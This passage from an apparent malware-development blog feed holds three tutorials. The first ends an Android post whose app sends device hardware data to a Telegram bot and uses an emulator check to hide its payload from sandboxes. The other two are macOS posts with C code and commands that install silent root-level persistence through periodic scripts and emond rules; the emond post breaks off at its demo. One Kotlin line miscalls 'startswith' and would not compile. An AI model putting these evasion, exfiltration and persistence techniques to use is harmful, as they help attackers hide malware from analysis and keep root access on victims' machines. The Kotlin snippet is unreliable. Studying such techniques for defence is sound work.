        <span class="k">return</span> <span class="n">context</span><span class="p">.</span><span class="n">assets</span><span class="p">.</span><span class="k">open</span><span class="p">(</span><span class="s">"id.txt"</span><span class="p">).</span><span class="nf">bufferedReader</span><span class="p">().</span><span class="nf">readText</span><span class="p">().</span><span class="nf">trim</span><span class="p">()</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<h3 id="demo">demo</h3>

<p>Let’s go to see everything in action. Deploy and run on the emulator (<code class="language-plaintext highlighter-rouge">AVD</code>):</p>

<p><img src="/assets/images/200/2026-04-13_21-32.png" alt="malware" class="img-responsive" /></p>

<p>Open <code class="language-plaintext highlighter-rouge">Logcat</code> and filter by tag <code class="language-plaintext highlighter-rouge">HACK</code> - you will see the message:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="n">exfiltration</span> <span class="n">to</span> <span class="n">telegram</span> <span class="n">complete</span><span class="mf">.</span> <span class="n">meow</span> <span class="o">=^..^=</span>
</code></pre></div></div>

<p><img src="/assets/images/200/2026-04-13_21-33.png" alt="malware" class="img-responsive" /></p>

<p>The Telegram bot already received the full <code class="language-plaintext highlighter-rouge">/proc/cpuinfo</code> snapshot on startup, before the user touched anything:</p>

<p><img src="/assets/images/200/2026-04-13_20-52.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/200/2026-04-13_20-52_1.png" alt="malware" class="img-responsive" /></p>

<p>If we add some additional logic for full logging, something like the following:</p>

<div class="language-kotlin highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">try</span> <span class="p">{</span>
    <span class="c1">// use foreach to process the file line by line efficiently</span>
    <span class="n">cpuinfo</span><span class="p">.</span><span class="nf">bufferedReader</span><span class="p">().</span><span class="nf">useLines</span> <span class="p">{</span> <span class="n">lines</span> <span class="p">-&gt;</span>
        <span class="n">lines</span><span class="p">.</span><span class="nf">forEach</span> <span class="p">{</span> <span class="n">line</span> <span class="p">-&gt;</span>
            <span class="c1">// we log every line to see the full hardware picture</span>
            <span class="nc">Log</span><span class="p">.</span><span class="nf">i</span><span class="p">(</span><span class="nc">TAG</span><span class="p">,</span> <span class="s">"[*] $line"</span><span class="p">)</span>
        <span class="p">}</span>
    <span class="p">}</span>
    <span class="nc">Log</span><span class="p">.</span><span class="nf">i</span><span class="p">(</span><span class="nc">TAG</span><span class="p">,</span> <span class="s">"[+] hardware profiling complete. meow =^..^="</span><span class="p">)</span>
<span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="n">e</span><span class="p">:</span> <span class="nc">Exception</span><span class="p">)</span> <span class="p">{</span>
    <span class="nc">Log</span><span class="p">.</span><span class="nf">i</span><span class="p">(</span><span class="nc">TAG</span><span class="p">,</span> <span class="s">"[x] error reading cpuinfo: ${e.message}"</span><span class="p">)</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Open <code class="language-plaintext highlighter-rouge">Logcat</code> and filter by tag <code class="language-plaintext highlighter-rouge">HACK</code> - you will see every line of <code class="language-plaintext highlighter-rouge">/proc/cpuinfo</code> printed one by one:</p>

<p><img src="/assets/images/200/2026-04-13_21-37.png" alt="malware" class="img-responsive" /></p>

<p>The <code class="language-plaintext highlighter-rouge">Hardware</code> line says <code class="language-plaintext highlighter-rouge">Ranchu</code> and the processor block contains <code class="language-plaintext highlighter-rouge">Android virtual processor</code> - dead giveaways that we are inside an emulator:</p>

<p><img src="/assets/images/200/2026-04-13_21-39.png" alt="malware" class="img-responsive" /></p>

<p>Notice <code class="language-plaintext highlighter-rouge">Fingerprint</code> starts with <code class="language-plaintext highlighter-rouge">generic/</code> or <code class="language-plaintext highlighter-rouge">Google/sdk_gphone64_x86_64/emu64xa</code>, <code class="language-plaintext highlighter-rouge">Build TYPE</code> is <code class="language-plaintext highlighter-rouge">user</code>, and <code class="language-plaintext highlighter-rouge">RADIO</code> is <code class="language-plaintext highlighter-rouge">1.0.0.0</code>. On a real device these look completely different.</p>

<p>Also build apk:</p>

<p><img src="/assets/images/200/2026-04-13_21-46.png" alt="malware" class="img-responsive" /></p>

<p>Then deploy and run on a real physical device (On my <code class="language-plaintext highlighter-rouge">Motorola g54 5G</code>):</p>

<p><img src="/assets/images/200/photo_2026-04-13_21-57-25.jpg" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/200/photo_2026-04-13_21-57-37.jpg" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/200/2026-04-13_21-55.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/200/2026-04-13_21-56.png" alt="malware" class="img-responsive" /></p>

<p>As you can see, everything is worked perfectly! =^..^=</p>

<p>Now upload the APK to <a href="https://app.any.run/">ANY.RUN</a> for sandbox analysis.</p>

<p>Select the Android device profile:</p>

<p><img src="/assets/images/200/2026-04-13_21-48.png" alt="malware" class="img-responsive" /></p>

<p>Then just wait:</p>

<p><img src="/assets/images/200/2026-04-13_21-49.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/200/2026-04-13_21-50.png" alt="malware" class="img-responsive" /></p>

<p>ANY.RUN catches the Telegram network traffic and flags it with <code class="language-plaintext highlighter-rouge">telegram</code> tag:</p>

<p><img src="/assets/images/200/2026-04-13_21-52.png" alt="malware" class="img-responsive" /></p>

<p>But finally, as you can see ANY.RUN says, <strong>No threats detected</strong>:</p>

<p><img src="/assets/images/200/2026-04-13_21-50_1.png" alt="malware" class="img-responsive" /></p>

<p><a href="https://app.any.run/tasks/0e584837-135b-407d-997e-f54b0715eb1a">https://app.any.run/tasks/0e584837-135b-407d-997e-f54b0715eb1a</a></p>

<h3 id="adding-a-decision-gate">adding a decision gate</h3>

<p>Collecting the data is useful for reconnaissance, but the real use in malware is gating the payload on it. Here is a minimal <code class="language-plaintext highlighter-rouge">isEmulator()</code> function that combines both checks - <code class="language-plaintext highlighter-rouge">Build</code> constants first (no file I/O), then <code class="language-plaintext highlighter-rouge">/proc/cpuinfo</code> as a cross-check:</p>

<div class="language-kotlin highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">fun</span> <span class="nf">isEmulator</span><span class="p">():</span> <span class="nc">Boolean</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="nc">Build</span><span class="p">.</span><span class="nc">FINGERPRINT</span><span class="p">.</span><span class="nf">startsWith</span><span class="p">(</span><span class="s">"generic"</span><span class="p">)</span>
        <span class="p">||</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">HARDWARE</span><span class="p">.</span><span class="nf">startswith</span><span class="p">(</span><span class="s">"Ranchu"</span><span class="p">)</span>
        <span class="p">||</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">FINGERPRINT</span><span class="p">.</span><span class="nf">startsWith</span><span class="p">(</span><span class="s">"unknown"</span><span class="p">)</span>
        <span class="p">||</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">MODEL</span><span class="p">.</span><span class="nf">contains</span><span class="p">(</span><span class="s">"google_sdk"</span><span class="p">)</span>
        <span class="p">||</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">MODEL</span><span class="p">.</span><span class="nf">contains</span><span class="p">(</span><span class="s">"gphone64_x86_64"</span><span class="p">)</span>
        <span class="p">||</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">MODEL</span><span class="p">.</span><span class="nf">contains</span><span class="p">(</span><span class="s">"Emulator"</span><span class="p">)</span>
        <span class="p">||</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">MODEL</span><span class="p">.</span><span class="nf">contains</span><span class="p">(</span><span class="s">"Android SDK built for x86"</span><span class="p">)</span>
        <span class="p">||</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">MANUFACTURER</span><span class="p">.</span><span class="nf">contains</span><span class="p">(</span><span class="s">"Genymotion"</span><span class="p">)</span>
        <span class="p">||</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">BRAND</span><span class="p">.</span><span class="nf">startsWith</span><span class="p">(</span><span class="s">"generic"</span><span class="p">)</span>
        <span class="p">||</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">DEVICE</span><span class="p">.</span><span class="nf">startsWith</span><span class="p">(</span><span class="s">"generic"</span><span class="p">)</span>
        <span class="p">||</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">DEVICE</span><span class="p">.</span><span class="nf">startsWith</span><span class="p">(</span><span class="s">"Emu64"</span><span class="p">)</span>
        <span class="p">||</span> <span class="nc">Build</span><span class="p">.</span><span class="nc">TYPE</span> <span class="p">==</span> <span class="s">"eng"</span>
    <span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="k">true</span>
    <span class="p">}</span>

    <span class="k">return</span> <span class="k">try</span> <span class="p">{</span>
        <span class="kd">val</span> <span class="py">cpuinfo</span> <span class="p">=</span> <span class="nc">File</span><span class="p">(</span><span class="s">"/proc/cpuinfo"</span><span class="p">).</span><span class="nf">readText</span><span class="p">()</span>
        <span class="n">cpuinfo</span><span class="p">.</span><span class="nf">contains</span><span class="p">(</span><span class="s">"goldfish"</span><span class="p">,</span> <span class="n">ignoreCase</span> <span class="p">=</span> <span class="k">true</span><span class="p">)</span>
            <span class="p">||</span> <span class="n">cpuinfo</span><span class="p">.</span><span class="nf">contains</span><span class="p">(</span><span class="s">"ranchu"</span><span class="p">,</span>   <span class="n">ignoreCase</span> <span class="p">=</span> <span class="k">true</span><span class="p">)</span>
            <span class="p">||</span> <span class="n">cpuinfo</span><span class="p">.</span><span class="nf">contains</span><span class="p">(</span><span class="s">"vbox86"</span><span class="p">,</span>   <span class="n">ignoreCase</span> <span class="p">=</span> <span class="k">true</span><span class="p">)</span>
            <span class="p">||</span> <span class="n">cpuinfo</span><span class="p">.</span><span class="nf">contains</span><span class="p">(</span><span class="s">"QEMU"</span><span class="p">,</span>     <span class="n">ignoreCase</span> <span class="p">=</span> <span class="k">true</span><span class="p">)</span>
    <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="n">_</span><span class="p">:</span> <span class="nc">Exception</span><span class="p">)</span> <span class="p">{</span>
        <span class="k">false</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>

<p>This is certainly not a bulletproof function example, it can be more complex usually :)</p>

<p>Call <code class="language-plaintext highlighter-rouge">isEmulator()</code> at the top of <code class="language-plaintext highlighter-rouge">onCreate</code>. If it returns <code class="language-plaintext highlighter-rouge">true</code>, show benign behaviour - the sandbox never sees the real payload execute.</p>

<h3 id="why-this-is-interesting">why this is interesting?</h3>

<p>First of all, reading <code class="language-plaintext highlighter-rouge">/proc/cpuinfo</code> and <code class="language-plaintext highlighter-rouge">Build</code> constants requires <strong>zero dangerous permissions</strong>. The user sees nothing unusual in the permission dialog and the OS never prompts them about it.</p>

<p>The hardware profile the attacker receives is immediately actionable: they can see whether the device is a real phone or a sandbox, the exact SoC and OEM, and whether the build is a debug or production image. That is enough to decide whether to send a targeted follow-up payload or stay quiet.</p>

<p>This is a practical example for Android developers, malware researchers, blue teamers, red teamers, and threat hunters to understand how adversaries fingerprint analysis environments before releasing their payload.</p>

<p><img src="/assets/images/162/anyrun.png" alt="malware" /></p>

<p>Thanks to <a href="https://app.any.run/">ANY.RUN</a> for API!</p>

<p><a href="https://core.telegram.org/bots/api">Telegram Bot API</a>  <br />
<a href="/android/2025/07/13/malware-android-1.html">Mobile malware development trick 1</a>  <br />
<a href="/android/2025/07/30/malware-android-2.html">Mobile malware development trick 2</a>  <br />
<a href="/malware/2024/06/16/malware-trick-40.html">stealing data via legit Telegram API. Windows example</a>  <br />
<a href="/macos/2025/06/12/malware-mac-1.html">stealing data via legit Telegram API. Mac OS X example</a>  <br />
<a href="https://github.com/square/okhttp">okhttp</a>  <br />
<a href="https://any.run/">ANY.RUN</a>  <br />
<a href="https://app.any.run/tasks/0e584837-135b-407d-997e-f54b0715eb1a">ANY.RUN: app-release.apk</a>   <br />
<a href="https://github.com/cocomelonc/bsprishtina-2024-maldev-workshop/tree/main/09-linux-android/14-android-cpu/HackCpu">source code in github</a></p>

<blockquote>
  <p>This is a practical case for educational purposes only.</p>
</blockquote>

<p>Thanks for your time happy hacking and good bye!
<em>PS. All drawings and screenshots are mine</em></p>]]></content><author><name>cocomelonc</name></author><category term="android" /><category term="red team" /><category term="anti-vm" /><category term="anti-sandbox" /><category term="malware" /><category term="android" /><summary type="html"><![CDATA[﷽]]></summary></entry><entry><title type="html">MacOS malware persistence 8: periodic scripts. Simple C example</title><link href="https://cocomelonc.github.io/macos/2026/04/02/mac-malware-persistence-8.html" rel="alternate" type="text/html" title="MacOS malware persistence 8: periodic scripts. Simple C example" /><published>2026-04-02T00:00:00+00:00</published><updated>2026-04-02T00:00:00+00:00</updated><id>https://cocomelonc.github.io/macos/2026/04/02/mac-malware-persistence-8</id><content type="html" xml:base="https://cocomelonc.github.io/macos/2026/04/02/mac-malware-persistence-8.html"><![CDATA[<p>﷽</p>

<p>Hello, cybersecurity enthusiasts and white hackers!</p>

<p><img src="/assets/images/198/2026-04-03_00-45.png" alt="malware" class="img-responsive" /></p>

<p>This post is quick observation of classic trick. Today, we are going back to the roots - specifically, the BSD roots of macOS. We will explore a legacy maintenance system that is often overlooked by modern security tools: the periodic system.</p>

<h3 id="concept-periodic">concept: periodic</h3>

<p><code class="language-plaintext highlighter-rouge">macOS</code>, being a Unix-based system, inherited the <code class="language-plaintext highlighter-rouge">periodic</code> utility from BSD. Its primary purpose is to run system maintenance tasks at regular intervals: daily, weekly, and monthly.</p>

<p>These tasks are managed by the <code class="language-plaintext highlighter-rouge">periodic</code> command, which scans specific directories for executable scripts:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-l</span> /etc/periodic
</code></pre></div></div>

<p><img src="/assets/images/198/2026-04-02_22-42.png" alt="malware" class="img-responsive" /></p>

<p>The most interesting part for us? These scripts are executed as <code class="language-plaintext highlighter-rouge">root</code>.</p>

<p>Unlike <code class="language-plaintext highlighter-rouge">LaunchAgents</code> or <code class="language-plaintext highlighter-rouge">Login Items</code>, adding a script here does not trigger any “background item added” notifications in <code class="language-plaintext highlighter-rouge">macOS</code> (like Monterey in my case). It is a silent, high-privilege execution point that survives reboots and system updates.</p>

<h3 id="practical-example">practical example</h3>

<p>For our PoC, I will create a simple C “malware” with system info as usual. Also, its goal is to prove that it is running with <code class="language-plaintext highlighter-rouge">root</code> privileges by writing its <code class="language-plaintext highlighter-rouge">UID</code> and the current timestamp to a log file in a shared directory, like the this (<code class="language-plaintext highlighter-rouge">hack.c</code>):</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
 * hack.c
 * payload for periodic script persistence
 * author: @cocomelonc
 */</span>

<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;time.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
  <span class="c1">// define the log path</span>
  <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">log_path</span> <span class="o">=</span> <span class="s">"/Users/Shared/meow.txt"</span><span class="p">;</span>

  <span class="c1">// systeminfo</span>
  <span class="kt">char</span> <span class="n">command</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
  <span class="n">snprintf</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">command</span><span class="p">),</span> <span class="s">"/usr/sbin/system_profiler SPSoftwareDataType &gt; %s 2&gt;&amp;1"</span><span class="p">,</span> <span class="n">log_path</span><span class="p">);</span>
  <span class="n">system</span><span class="p">(</span><span class="n">command</span><span class="p">);</span>
  
  <span class="c1">// perform the "malicious" action (logging)</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">f</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="n">log_path</span><span class="p">,</span> <span class="s">"a"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">f</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">time_t</span> <span class="n">now</span> <span class="o">=</span> <span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"[=^..^=] meow! periodic persistence triggered.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"timestamp: %s"</span><span class="p">,</span> <span class="n">ctime</span><span class="p">(</span><span class="o">&amp;</span><span class="n">now</span><span class="p">));</span>
    <span class="c1">// getuid() will return 0 if the script is running as root</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"running with UID: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">getuid</span><span class="p">());</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"-------------------------------------</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">fclose</span><span class="p">(</span><span class="n">f</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>And we need, wrapper for persistence. The <code class="language-plaintext highlighter-rouge">periodic</code> system expects executable files in its directories. Usually, these are shell scripts. We will create a small wrapper that acts as the entry point for the system’s maintenance cycle (<code class="language-plaintext highlighter-rouge">999.meow</code>):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/bin/sh</span>
<span class="c"># 999.meow</span>
<span class="c"># shell wrapper to execute our malicious binary</span>
<span class="c"># the '999' prefix ensures it runs last in the sequence</span>

<span class="k">if</span> <span class="o">[</span> <span class="nt">-x</span> /usr/local/bin/meow <span class="o">]</span><span class="p">;</span> <span class="k">then</span>
    /usr/local/bin/meow
<span class="k">fi</span>
</code></pre></div></div>

<h3 id="demo">demo</h3>

<p>Let’s see this trick in action.</p>

<p>To install this persistence, we need to place our binary in a standard execution path and our wrapper in the <code class="language-plaintext highlighter-rouge">periodic</code> directory. this requires <code class="language-plaintext highlighter-rouge">sudo</code> (simulating a privilege escalation or a high-privilege installer).</p>

<p>compile our “malware”:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>clang <span class="nt">-o</span> meow hack.c
</code></pre></div></div>

<p><img src="/assets/images/198/2026-04-03_00-27.png" alt="malware" class="img-responsive" /></p>

<p>Then, move the binary to a common system path, we use <code class="language-plaintext highlighter-rouge">/usr/local/bin</code> to look like a legitimate third-party utility:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo cp </span>meow /usr/local/bin/
<span class="nb">sudo chmod</span> +x /usr/local/bin/meow
</code></pre></div></div>

<p><img src="/assets/images/198/2026-04-03_00-41.png" alt="malware" class="img-responsive" /></p>

<p>Finally, deploy the periodic script to the <code class="language-plaintext highlighter-rouge">daily</code> folder, in macOS Monterey VM in my case, <code class="language-plaintext highlighter-rouge">/etc</code> is a symlink to <code class="language-plaintext highlighter-rouge">/private/etc</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo cp </span>999.meow /etc/periodic/daily/
<span class="nb">sudo chmod</span> +x /etc/periodic/daily/999.meow
</code></pre></div></div>

<p><img src="/assets/images/198/2026-04-03_00-42.png" alt="malware" class="img-responsive" /></p>

<p>That’s all!</p>

<p>As I know, by default, the daily scripts run at <code class="language-plaintext highlighter-rouge">03:15 AM</code>. however, we don’t want to wait until the middle of the night to verify our work. we can manually trigger the maintenance cycle using the <code class="language-plaintext highlighter-rouge">periodic</code> command:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">sudo </span>periodic daily
</code></pre></div></div>

<p>Now, let’s check our log file to see if the magic happened:</p>

<p><img src="/assets/images/198/2026-04-03_00-43.png" alt="malware" class="img-responsive" /></p>

<p><img src="/assets/images/198/2026-04-03_00-46.png" alt="malware" class="img-responsive" /></p>

<p>As you can see, everything works perfectly: our code was executed with <code class="language-plaintext highlighter-rouge">UID 0</code> (<code class="language-plaintext highlighter-rouge">root</code>). we have successfully established a silent, persistent foothold in the system. =^..^=</p>

<p>But we have the caveat: <em>Apple has been systematically removing legacy BSD tools</em>:</p>

<blockquote>
  <p><strong>Note:</strong> if you are following this research in a laboratory environment, the version of macOS you use will dictate your success. On <code class="language-plaintext highlighter-rouge">macOS Monterey</code>, the periodic system is still a reliable, <code class="language-plaintext highlighter-rouge">root</code>-level “ghost” scheduler. But in the modern macOS this trick not working.</p>
</blockquote>

<p>periodic scripts are not as common as <a href="/macos/2026/01/05/malware-mac-persistence-1.html">LaunchAgents</a> because they require <code class="language-plaintext highlighter-rouge">root</code> privileges to install. Therefore, they are typically used by high-end APT groups as a secondary, “deep” persistence mechanism after they have already escalated privileges.</p>

<p>I hope this post is useful for malware R&amp;D and red teaming labs, Apple/Mac researchers, and blue team specialists.</p>

<p><a href="/macos/2025/06/12/malware-mac-1.html">macOS hacking part 1</a>  <br />
<a href="/macos/2026/01/05/malware-mac-persistence-1.html">macOS persistence part 1</a>  <br />
<a href="/macos/2026/03/29/mac-malware-persistence-7.html">macOS persistence part 7</a>  <br />
<a href="https://github.com/cocomelonc/meow/tree/master/2026-04-02-malware-mac-persistence-8">source code in github</a></p>

<blockquote>
  <p>This is a practical case for educational purposes only.</p>
</blockquote>

<p>Thanks for your time happy hacking and good bye!  <br />
<em>PS. All drawings and screenshots are mine</em></p>]]></content><author><name>cocomelonc</name></author><category term="macos" /><category term="red team" /><category term="persistence" /><category term="malware" /><category term="macos" /><category term="periodic" /><summary type="html"><![CDATA[﷽]]></summary></entry><entry><title type="html">MacOS malware persistence 9: emond (The Event Monitor Daemon). Simple C example</title><link href="https://cocomelonc.github.io/macos/2026/04/02/mac-malware-persistence-9.html" rel="alternate" type="text/html" title="MacOS malware persistence 9: emond (The Event Monitor Daemon). Simple C example" /><published>2026-04-02T00:00:00+00:00</published><updated>2026-04-02T00:00:00+00:00</updated><id>https://cocomelonc.github.io/macos/2026/04/02/mac-malware-persistence-9</id><content type="html" xml:base="https://cocomelonc.github.io/macos/2026/04/02/mac-malware-persistence-9.html"><![CDATA[<p>﷽</p>

<p>Hello, cybersecurity enthusiasts and white hackers!</p>

<p><img src="/assets/images/199/2026-04-07_08-11.png" alt="malware" class="img-responsive" /></p>

<p>In our previous posts, we explored session restoration, environment variables, and periodic scripts. Today, we are diving into one of the most obscure and powerful legacy persistence mechanisms in <code class="language-plaintext highlighter-rouge">macOS</code> history: <strong>emond (The Event Monitor Daemon)</strong>.</p>

<h3 id="emond">emond</h3>

<p>What is the main concept? <code class="language-plaintext highlighter-rouge">emond</code> is a service that was designed to monitor system events (like startup, login, or specific log messages) and execute defined actions based on those events. It is controlled by the system’s <code class="language-plaintext highlighter-rouge">launchd</code> and runs with <code class="language-plaintext highlighter-rouge">root</code> privileges.</p>

<p><img src="/assets/images/199/2026-04-07_07-31.png" alt="malware" class="img-responsive" /></p>

<p>The daemon looks for rules in a specific directory:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ls</span> <span class="nt">-l</span> /private/etc/emond.d/rules/
</code></pre></div></div>

<p><img src="/assets/images/199/2026-04-07_07-32.png" alt="malware" class="img-responsive" /></p>

<p>By dropping a specially crafted <code class="language-plaintext highlighter-rouge">.plist</code> file into this folder, we can instruct the system to execute our malicious payload whenever a specific trigger occurs - most commonly, during system startup.</p>

<h3 id="practical-example">practical example</h3>

<p>As usual, my “malware” is a simple C program that proves our persistence is working by writing to a log file in <code class="language-plaintext highlighter-rouge">/Users/Shared/</code>. Since <code class="language-plaintext highlighter-rouge">emond</code> executes actions as <code class="language-plaintext highlighter-rouge">root</code>, our log will show a <code class="language-plaintext highlighter-rouge">UID</code> of <code class="language-plaintext highlighter-rouge">0</code>. Something like the following <code class="language-plaintext highlighter-rouge">hack.c</code>.</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cm">/*
 * hack.c
 * "malware" for emond persistence
 * author: @cocomelonc
 */</span>

<span class="cp">#include</span> <span class="cpf">&lt;stdio.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;stdlib.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;unistd.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;time.h&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
  <span class="c1">// define the log path</span>
  <span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">log_path</span> <span class="o">=</span> <span class="s">"/Users/Shared/meow.txt"</span><span class="p">;</span>

  <span class="c1">// systeminfo</span>
  <span class="kt">char</span> <span class="n">command</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span>
  <span class="n">snprintf</span><span class="p">(</span><span class="n">command</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">command</span><span class="p">),</span> <span class="s">"/usr/sbin/system_profiler SPSoftwareDataType &gt; %s 2&gt;&amp;1"</span><span class="p">,</span> <span class="n">log_path</span><span class="p">);</span>
  <span class="n">system</span><span class="p">(</span><span class="n">command</span><span class="p">);</span>
  
  <span class="c1">// perform the "malicious" action (logging)</span>
  <span class="kt">FILE</span> <span class="o">*</span><span class="n">f</span> <span class="o">=</span> <span class="n">fopen</span><span class="p">(</span><span class="n">log_path</span><span class="p">,</span> <span class="s">"a"</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">f</span><span class="p">)</span> <span class="p">{</span>
    <span class="kt">time_t</span> <span class="n">now</span> <span class="o">=</span> <span class="n">time</span><span class="p">(</span><span class="nb">NULL</span><span class="p">);</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"[=^..^=] meow! emond persistence triggered.</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"timestamp: %s"</span><span class="p">,</span> <span class="n">ctime</span><span class="p">(</span><span class="o">&amp;</span><span class="n">now</span><span class="p">));</span>
    <span class="c1">// getuid() will return 0 if the script is running as root</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"running with UID: %d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">getuid</span><span class="p">());</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">f</span><span class="p">,</span> <span class="s">"-------------------------------------</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">fclose</span><span class="p">(</span><span class="n">f</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Then, we need a configuration file that <code class="language-plaintext highlighter-rouge">emond</code> can parse. This rule specifies that upon the startup event, the system should run our command. 
To create a rule file, we will use the <code class="language-plaintext highlighter-rouge">SampleRule.plist</code> file that already exists and modify it as necessary.</p>

<p><img src="/assets/images/199/2026-04-07_07-33.png" alt="malware" class="img-responsive" /></p>

<p>Something like this <code class="language-plaintext highlighter-rouge">meow.plist</code>:</p>

<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?xml version="1.0" encoding="UTF-8"?&gt;</span>
<span class="cp">&lt;!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"&gt;</span>
<span class="nt">&lt;plist</span> <span class="na">version=</span><span class="s">"1.0"</span><span class="nt">&gt;</span>
<span class="nt">&lt;array&gt;</span>
  <span class="nt">&lt;dict&gt;</span>
    <span class="nt">&lt;key&gt;</span>name<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;string&gt;</span>meow_persistence<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;key&gt;</span>enabled<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;true/&gt;</span>
    <span class="nt">&lt;key&gt;</span>eventTypes<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;array&gt;</span>
      <span class="nt">&lt;string&gt;</span>startup<span class="nt">&lt;/string&gt;</span>
    <span class="nt">&lt;/array&gt;</span>
    <span class="nt">&lt;key&gt;</span>actions<span class="nt">&lt;/key&gt;</span>
    <span class="nt">&lt;array&gt;</span>
      <span class="nt">&lt;dict&gt;</span>
        <span class="nt">&lt;key&gt;</span>type<span class="nt">&lt;/key&gt;</span>
        <span class="nt">&lt;string&gt;</span>RunCommand<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;key&gt;</span>command<span class="nt">&lt;/key&gt;</span>
        <span class="nt">&lt;string&gt;</span>/usr/local/bin/meow_emond<span class="nt">&lt;/string&gt;</span>
        <span class="nt">&lt;key&gt;</span>user<span class="nt">&lt;/key&gt;</span>
        <span class="nt">&lt;string&gt;</span>root<span class="nt">&lt;/string&gt;</span>
      <span class="nt">&lt;/dict&gt;</span>
    <span class="nt">&lt;/array&gt;</span>
  <span class="nt">&lt;/dict&gt;</span>
<span class="nt">&lt;/array&gt;</span>
<span class="nt">&lt;/plist&gt;</span>
</code></pre></div></div>

<p>As you can see, everything is simple.</p>

<h3 id="demo">demo</h3>
